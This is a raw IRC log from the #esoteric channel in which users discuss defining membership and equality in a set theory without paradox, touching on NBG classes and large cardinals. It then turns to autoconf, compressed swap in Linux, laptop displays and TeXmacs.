:alise_!unknown@unknown.invalid PRIVMSG #esoteric :wait, no < 1267978378 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, yeah erlang has <- in list/binary comprehensions too < 1267978385 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that results in "x in y" meaning "(x,y) in 'in'" < 1267978398 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, yearghs < 1267978443 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, I think you need to have some operators that you can not define in terms of other ones < 1267978450 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you don't say < 1267978450 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is, they are not syntax sugar < 1267978463 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :they're called axioms < 1267978465 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, captain obvious at your service! < 1267978481 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :of course i'd have the definition of the 'in' relation be axiomatic but even that doesn't work :) < 1267978551 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, what about defining x in S by using {x} ⊆ S ? < 1267978561 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not sure if that is completely valid < 1267978566 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then i don't need to define the in relation :P < 1267978567 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :also, it is < 1267978573 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well no < 1267978579 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because you used strict subset < 1267978581 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :instead of subset < 1267978582 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :bad boy < 1267978583 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, no I didn't? < 1267978592 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, there is a line below it here < 1267978593 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or do i have that the other way around < 1267978599 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i'm so used just to using ascii notation < 1267978729 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: wait oh dear < 1267978740 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :eq := \(S:Set_n). { (x,x) | x <- S } < 1267978742 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :is too large too < 1267978744 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because it desugars to < 1267978759 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1267978767 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :eq := { (S, { (x,x) | x <- S }) | S <- Set_n } < 1267978770 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: right? < 1267978799 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*facepalm* < 1267978821 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: i feel small :P < 1267978851 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's a _subset_ of Set, but not an element, afaict < 1267978883 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :your contradiction only appears if you think all subsets of Set should be elements < 1267978907 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : i'm so used just to using ascii notation <-- I don't know what the ascii notation is for that < 1267978929 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the math notation is a lot easier to read due to being the way I'm used to seeing it < 1267978933 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: well I have the regular hierarchy Set_1 = {Set_0} < 1267978933 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Set_2 = {Set_1} < 1267978934 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and so on < 1267978946 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Set_0 = everything not in the Set_n hierarchy < 1267978953 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :by Set_n in eq, just imagine another wrapper function with n < 1267978969 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: um shouldn't that be Set_1 = {x | x subset Set_0} ? < 1267978982 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :etc. < 1267979008 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well Set_0 elem Set_1 < 1267979010 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :whereby elem i mean is in < 1267979018 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :eq = { (n, { (S, { (x,x) | x <- S }) | S <- Set(n) }) | n <- Nat (or some other type for the levels) } < 1267979030 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :still too big < 1267979033 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :naturally, but Set_1 would contain many other elements < 1267979033 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :all our eggs in one set < 1267979042 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: such as? < 1267979069 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, what do you mean "too big"? < 1267979074 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :such as _every_ subclass of Set < 1267979080 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, and what language is this in? < 1267979095 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: too big meaning we can derive the set of all ordinals from it < 1267979106 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :basically i'm trying to define equality as a relation without causing everything to break < 1267979107 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267979108 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and set theory < 1267979115 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: take a look at Von Neumann-Bernays-Godel theory < 1267979119 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: where Set is? Set_0? < 1267979144 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, why exactly is that bad? Allows some messy paradox? < 1267979152 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :anyway, it seems to me that since all my notions are defined in terms of sets, "eq", no matter how paramaterised, is still a fucking gigantic set < 1267979156 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :although... wait < 1267979187 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :eq has the cardinality of the natural numbers, eq(n) has the cardinality of Set(n), eq(n)(S) has the cardinality of S < 1267979201 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so maybe if we avoid letting people combine all these into one, it's safe? oerjan? < 1267979340 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: in NBG theory, eq is a perfectly legal _class_. it is not a set. < 1267979348 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, btw you might like this comment from a library that is embedded inside libgc: "This would be cleaner in C++ with templates." < 1267979361 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yeah < 1267979374 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but that sort of defeats the entire point of building everything on sets < 1267979374 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :NBG only has two levels, but i guess that's easy to generalize < 1267979374 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(something I disagree with) < 1267979378 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: saw, in the logs. < 1267979382 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and it's probably right < 1267979391 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, right < 1267979392 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :C is almost unusable due to its lack of parameterised types < 1267979407 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: then isn't class just = Set_1? < 1267979418 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :which is the set of the set of sets < 1267979418 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, well, here all it neded was a pointer to a special field. *shrug* < 1267979429 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well i guess "the set of" doesn't make much sense since we're not talking types hrtr < 1267979430 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*here < 1267979434 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: well possibly < 1267979441 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but i mean this is the same way you disallow russell's paradox isn't it? < 1267979451 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :not allowing sets to contain members "higher" than themselves? < 1267979453 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well the traditional way < 1267979498 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: as long as you distinguish eq(n) as different levels, i think you should be fine < 1267979517 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :basically all of this is leading to creating a fun lil' set theoretic esolang (Hyper Set Language is, well, not crappy but zzo38 in that it's... completely and utterly inconsistent in every way) < 1267979524 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(in the formal sense of inconsistent) < 1267979535 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you wouldn't need an extra S parameter though - just use Set(n) ? < 1267979539 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :of course i will run into problems in that set theory isn't really constructivist, for instance you won't be able to do the reals < 1267979554 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: hmm really? so eq(n) is the equivalences of every set of level n? < 1267979573 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so e.g. eq(0) is all we ever care about really < 1267979581 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :since it's rare that we'll ever want to compare the Set_1, Set_2 and so on bonanza < 1267979588 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, isn't equality a relation on sets already? Isn't it in some areas _defined_ as being the reflexive, symetric, antisymetric, and transitive? < 1267979606 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/\?/ relation?/ < 1267979617 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no equality isn't a real relation in zfc because it's too big < 1267979642 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, well, I don't remember if it was zfc even I was thinking about < 1267979647 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or a more naive set theory < 1267979666 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: that's my intuition of it < 1267979676 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: nice < 1267979697 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :of course, slight issue in that to paramaterise on level we need a function Set < 1267979705 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Set : (n:Nat) -> Set (n+1) < 1267979714 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :there is a bit of a circularity here... < 1267979727 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, wait, is eq "equals" or "equivalence"? < 1267979730 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :thankfully though the result type doesn't matter in set theory < 1267979732 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if the latter, then ignore what I said < 1267979734 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :because values aren't tied to sets < 1267979739 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: equality < 1267979749 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: complicates the axioms, though < 1267979779 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm Set(n) is "the value of x in the tuple (n,x) that is in Set" < 1267979791 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so we have Set := { (0,Set_0), (1,Set_1), ... } < 1267979799 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :quiz: what set level can we put Set into? < 1267979809 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it contains Set_0, it contains Set_1, ... < 1267979814 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so, great < 1267979817 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Set_omega contains Set :-) < 1267979826 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: if you take that too far i think you're going to get an inconsistency eventually < 1267979835 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :just a hunch though < 1267979861 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a very vague one :D < 1267979863 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: yeah isn't this what principa mathematica set up only to be whooped by godel? < 1267979869 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, all this strange ASCII notation for perfectly fine symbols confuse me :( < 1267979881 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: oh shut up < 1267979935 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise_: hm, i don't really know the PM type system, or how far _up_ it goes < 1267979969 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :up, up and away! < 1267979997 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :otoh "large cardinals" in my intuition is much about how to simulate this kind of stuff inside zfc < 1267980032 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :mm < 1267980105 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :large cardinals are hilarious < 1267980115 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dunno why i just love the huge list of them on wikipedia < 1267980147 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what exactly is the point of "const volatile"? No it isn't a pointer. < 1267980180 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :as in, strongly inaccessible cardinals allow you to put models of ZFC inside each other, http://en.wikipedia.org/wiki/Grothendieck_universe < 1267980182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, nvm, figured it out < 1267980221 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :imho zfc is pretty shitty < 1267980340 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : dunno why i just love the huge list of them on wikipedia <-- link? < 1267980343 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i am totally underqualified to hold that position though < 1267980386 0 :benuphoenix!~benuphoen@ool-182e6881.dyn.optonline.net JOIN :#esoteric < 1267980395 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, since: Large cardinal (Redirected from List of large cardinals) < 1267980401 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and that contains no such list < 1267980406 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I guess it is elsewhere? < 1267980427 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :see top of article redirected to < 1267980428 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/List_of_large_cardinal_properties < 1267980433 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267980434 0 :benuphoenix!unknown@unknown.invalid PART #esoteric :? < 1267980649 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I should formulate my own set theory so that it can be laughed at how horrible it is < 1267980667 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Good morrow. < 1267980715 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, intentional typo? < 1267980717 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :!(exists x. x in {}) seems like a reasonable start < 1267980722 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267980726 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :intentional untypo < 1267980747 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :which is < 1267980769 0 :tombom__!~tombom@86.29.64.16 JOIN :#esoteric < 1267980781 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :!(exists x. {x} subset-of {}) < 1267980798 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :then < 1267980803 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :forall x. x superset-of {} < 1267980930 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: actually i think in is more fundamental than subset < 1267980942 0 :tombom_!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1267980954 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :x subset-of y := forall z, z in y -> z in x < 1267980981 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :although that requires implication be something other than subset < 1267980985 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :otherwise we have a circularity < 1267981221 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : intentional untypo? < 1267981224 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1267981227 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :<-- ? < 1267981228 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I meant < 1267981238 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: actually i think in is more fundamental than subset <-- what is? equals? < 1267981239 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well could be < 1267981269 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : x subset-of y := forall z, z in y -> z in x <-- ... notation please... < 1267981281 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can't read it < 1267981282 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267981300 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes, you ca < 1267981302 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*can < 1267981445 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267981458 0 :alise!~d4b78c26@gateway/web/freenode/x-ugpnfdnpxvtegmfc JOIN :#esoteric < 1267981463 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :as i said before i was cut off < 1267981471 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and being obstructive in your communication will just result in me... not communicating < 1267981530 0 :tombom__!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267981560 0 :tombom__!~tombom@82.18.195.157 JOIN :#esoteric < 1267981573 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, was it ∀z(z ∈ y → z ∈ x) < 1267981574 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267981588 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes. as you well knew < 1267981600 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and it turns out, you know english! < 1267981604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, but since you defined <- to be "in", shouldn't -> be "in" the other way? < 1267981632 0 :alise__!~d4b78c26@gateway/web/freenode/x-dnzvzjjlftynkefl JOIN :#esoteric < 1267981643 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :so, at this point is where i just stop bothering to talk as you do not understand ad hoc notation < 1267981651 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, there is xemacs for windows. There is M-x set-input-mode TeX < 1267981654 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it does wonders < 1267981669 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, I find ad hoc notation confusing and hard to read < 1267981673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :*shrug* < 1267981682 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1267981688 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267981706 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :as does your mother < 1267981738 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, that one doesn't even make sense < 1267981788 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, "your mother 'finds ad hoc notation confusing and hard to read'" is not even an insult is it? < 1267981821 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's what she said! < 1267981828 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, :P < 1267981864 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267981908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :considering how bad autoconf code is, I wonder what autoconf itself is like < 1267981912 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, any idea? < 1267981926 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: likewise bad < 1267981938 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, shouldn't it be even worse logically? < 1267981947 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the code generated by autoconf is much better than the code of autoconf itself < 1267981948 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :considering it can generate such messy configure output < 1267981954 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, whoa < 1267981985 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I put < 1267982002 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267982008 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :he put < 1267982009 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*I put quite a lot of effort into learning how autoconf itself works, to use it properly; it seems GNU didn't < 1267982020 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :sorry, touchpad error deleted most of my message after I'd already written it < 1267982038 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, no undo in your client? < 1267982059 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: doesn't help after you've already pressed return < 1267982062 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :race condition < 1267982068 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I deleted it /as/ I was pressing return < 1267982086 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267982273 0 :hodyna!unknown@unknown.invalid PART #esoteric :? < 1267982282 0 :alise__!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267982428 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw that new "swap as compressed pages in ram" thingy seems really interesting < 1267982444 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and quite a lot faster than normal swap with a lot of the benefit < 1267982460 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :experimental staging driver in 2.6.33 it seems < 1267982861 0 :hiato!~fdulu@dsl-245-10-22.telkomadsl.co.za JOIN :#esoteric < 1267983605 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267984071 0 :alise!~d4b78c32@gateway/web/freenode/x-janbebkjifcawmqk JOIN :#esoteric < 1267984255 0 :Wareya!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267984327 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267984534 0 :MigoMipo!~migomipo@84-217-11-138.tn.glocalnet.net JOIN :#esoteric < 1267984696 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i love this little machine < 1267984747 0 :Quadrescence!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267984848 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, dpi? < 1267984969 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the screen is not great. it's very TN (colour distortion is pretty much unavoidable). but 1366x768 @ 13" = 120 ppi < 1267984989 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :13.6" = 115 ppi, so whatever the exact size it's a good ppi < 1267985024 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, aren't most monitors TN? < 1267985039 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes. but it's very TN i.e. not a very high quality TN < 1267985044 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267985055 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e. if you look at it even slightly off the proper place you get dark to light gradient over the whole thing < 1267985068 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and if you look at it a bit too much from above than you should it's all white-washed < 1267985071 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I think my desktop is TN but rather high quality TN, while my thinkpad is lower quality TN < 1267985082 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but from a good angle - and those are the most common angles to look at a laptop from - it's fine < 1267985084 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :though, the colour doesn't change that quickly for the laptop < 1267985094 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this thing is almost certainly worse than a thinkpad display < 1267985104 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but consider, thinkpad costs like a thousand and a bit pounds < 1267985113 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this costs something like £475 < 1267985122 0 :Asztal!~asztal@host86-172-3-169.range86-172.btcentralplus.com JOIN :#esoteric < 1267985135 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :spoiler: it's not very fast, though; single core 1.2ghz and no virtualisation in sight. well at least i think it's single core < 1267985135 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I can see line in supposedly "smooth" gradients on my thinkpad (such as in gimp colour picker). Not so on my desktop < 1267985148 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :beats an Atom any day < 1267985148 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure if that is due to the monitor or the intel graphics < 1267985199 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, also thinkpads are great but the greatness was not spent on the speakers at all, and only a little bit of it on the display < 1267985228 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1267985250 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, iirc thinkpad uses some magnesium cage thingy internally though. And the keyboard has drainage holes (you can see them when looking at the laptop from below < 1267985251 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :) < 1267985274 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(beats me why they end up right below it, shouldn't that mean it could flow to the battery and fry things badly? < 1267985275 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :) < 1267985406 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267985410 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267985618 0 :alise!~d4b78c32@gateway/web/freenode/x-mwrfxbrereyhjegh JOIN :#esoteric < 1267985634 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, see log < 1267985654 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also that connection must be annoying < 1267985657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :still in a taxi? < 1267985662 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :seen the logs < 1267985663 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, no < 1267985670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :turns out taxis stop sometimes :( < 1267985675 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, how boring < 1267985703 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's just that this place has no interwebs < 1267985717 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also, there goes my plans for a taxi based perpetum mobile :( < 1267985857 0 :Quadrescence!~quad@unaffiliated/quadrescence JOIN :#esoteric < 1267985962 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, this is somewhat amusing to read: http://llvm.org/docs/ReleaseNotes.html#whatsnew < 1267985973 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(yeah I know they haven't yet filled it in... but still) < 1267985988 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... is really a popular feature it seems < 1267986089 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :argh oerjan isn't here any more < 1267986098 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why argh? < 1267986128 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wanted to quiz him about mathqs :P < 1267986208 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, lucky him who left < 1267986333 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm... FAUST "Functional AUdio STream"... What are the chances of that name NOT being designed to fit the acronym? < 1267986357 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ^ < 1267986369 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Low. < 1267986428 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So I wrote what I wanted in TeXmacs but it can't copy to Unicode. < 1267986451 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, TeXmacs? Isn't that some weird type setting thingy that isn't compatible with LaTeX? < 1267986468 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I tried it and found it irritating to say the least < 1267986494 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It isn't weird and it can export to LaTeX. < 1267986504 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1267986513 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, from what I remember it rendered text blurry when editing < 1267986536 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :probably perfect for you with your no-hinting mania though < 1267986550 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(pdfs never turn out that blurry) < 